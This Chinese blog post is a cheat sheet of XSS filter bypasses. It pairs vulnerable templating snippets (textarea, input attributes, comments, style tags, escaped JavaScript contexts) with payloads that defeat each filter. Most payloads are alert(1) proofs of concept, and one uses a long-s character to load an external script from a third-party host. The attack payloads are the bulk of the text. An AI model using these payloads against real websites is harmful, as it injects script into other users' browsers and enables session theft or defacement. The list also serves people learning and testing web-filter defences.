进击的XSS

I never knew when the clock stopped and I’m looking at you

进击的XSS

XSS探测器

  1. 在注入这段代码后,查看页面源代码寻找是否存在看起来像 <XSS verses <XSS这样的输出点从而判断是否存在xss漏洞
  2. 通过探测器可以快速知道服务器过滤了什么东东
1
'';!--"<XSS>=&{()}

闭合标签类绕过

可控参数在标签内

1
2
input = ${input}
'<textarea>' + input + '</textarea>'
  • 1
    </textarea><script>alert('1')</script>

可控参数是标签内的属性值

1
return '<input type="name" value="' + input + '">'
  • 构造payload :
1
"><script>alert('1')</script>

过滤了某些关键字符或者关键字

过滤 ()

  • 代码举例: 这里就是将 () 给过滤为空了
1
const  stripBracketsRe = /[()]/g    input = input.replace(stripBracketRe,'')
  • 构造payload :
1
"><script>alert`1`</script>

过滤 () 和 `

  • 构造payload :
1
<img src=x onerror=alert&#40;1&#41;>
  • 过滤 –> 为空

1
return  '<!--' + input + '-->'
  • 构造payload :
1
test --!><img src=x onerror="alert(1)">

过滤 auto | on.*= | > 三个为空

1
<input value=1 ${input} type="text">
  • 构造payload :
1
type="images" onclick %0d%0a =alert(1)
  • 过滤 完整的标签(也就是同时具有<>才过滤

  • 使用场景:

1
<article>${input}</article>rticle>${input}</article>
  • 构造payload :
1
2
<svg onload=alert(1) \\
<img src=x onerror=alert(1) \\

过滤闭合标签的另一半

  • 使用场景:
1
<style> ${input} </style>  //他会过滤掉</style>
  • 构造payload :
1
2
</style ><script>alert(1)</script>  # 加空格
</sty</style>le><script>alert(10)</script>

过滤 </ “ ‘

  • 1
    2
    3
    <script> 
    //alert('${input}')
    </script>
  • 构造payload :

1
%0Aalert(1)%0A-->    #%0A是换行符的url编码

正则替换 <a 变成 <_a

  • 构造payload :

1
<ſcript src=https://server.n0tr00t.com/t.js></script>    ## ſ 的url编码是%C5%BF

输入实体编码化

1
<img src onerror="console.error('${escapeHtml(input)}')">
  • payload:
1
'); alert('1
  • 特殊符号、换行符号都做替换,还做一次escapeJs

1
2
3
4
5
6
7
<script> 
var url = 'javascript:console.log("${s}")'
var a = document.createElement('a')
a.href = url
document.body.appendChild(a)
a.click()
</script>
  • payload :
1
test");alert(“1

-

文章目录
  1. 1. I never knew when the clock stopped and I’m looking at you
  2. 2. 进击的XSS
    1. 2.1. XSS探测器
  3. 3. 闭合标签类绕过
    1. 3.1. 可控参数在标签内
    2. 3.2. 可控参数是标签内的属性值
  4. 4. 过滤了某些关键字符或者关键字
    1. 4.1. 过滤 ()
    2. 4.2. 过滤 () 和 `
    3. 4.3. 过滤 –> 为空
    4. 4.4. 过滤 auto | on.*= | > 三个为空
    5. 4.5. 过滤 完整的标签(也就是同时具有<>才过滤
    6. 4.6. 过滤闭合标签的另一半
    7. 4.7. 过滤 </ “ ‘
    8. 4.8. 正则替换 <a 变成 <_a
    9. 4.9. 输入实体编码化
    10. 4.10. 特殊符号、换行符号都做替换,还做一次escapeJs
|
{{ live2d() }}